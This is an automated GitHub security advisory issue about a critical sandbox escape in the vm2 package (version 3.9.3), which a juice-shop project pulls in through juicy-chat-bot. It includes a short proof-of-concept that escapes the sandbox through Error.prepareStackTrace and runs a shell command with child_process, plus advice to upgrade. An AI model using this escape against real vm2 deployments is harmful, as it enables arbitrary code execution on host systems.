Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Critical severity - Sandbox Escape vulnerability in vm2 (package.json) #146

Open
github-actions bot opened this issue Apr 10, 2023 · 0 comments
Open

Comments

@github-actions
Copy link

  • Package Manager: npm
  • Vulnerable module: vm2
  • Introduced through: juice-shop@12.3.0, juicy-chat-bot@0.6.5 and others

Detailed paths

  • Introduced through: juice-shop@12.3.0 › juicy-chat-bot@0.6.5 › vm2@3.9.3

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Escape vm2 was not properly handling host objects passed to Error.prepareStackTrace in case of unhandled async errors.

PoC

const {VM} = require("vm2");
let vmInstance = new VM();

const code = Error.prepareStackTrace = (e, frames) => { frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); }; (async ()=>{}).constructor('return process')()

vmInstance.run(code);

Remediation

Upgrade vm2 to version 3.9.15 or higher.

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

0 participants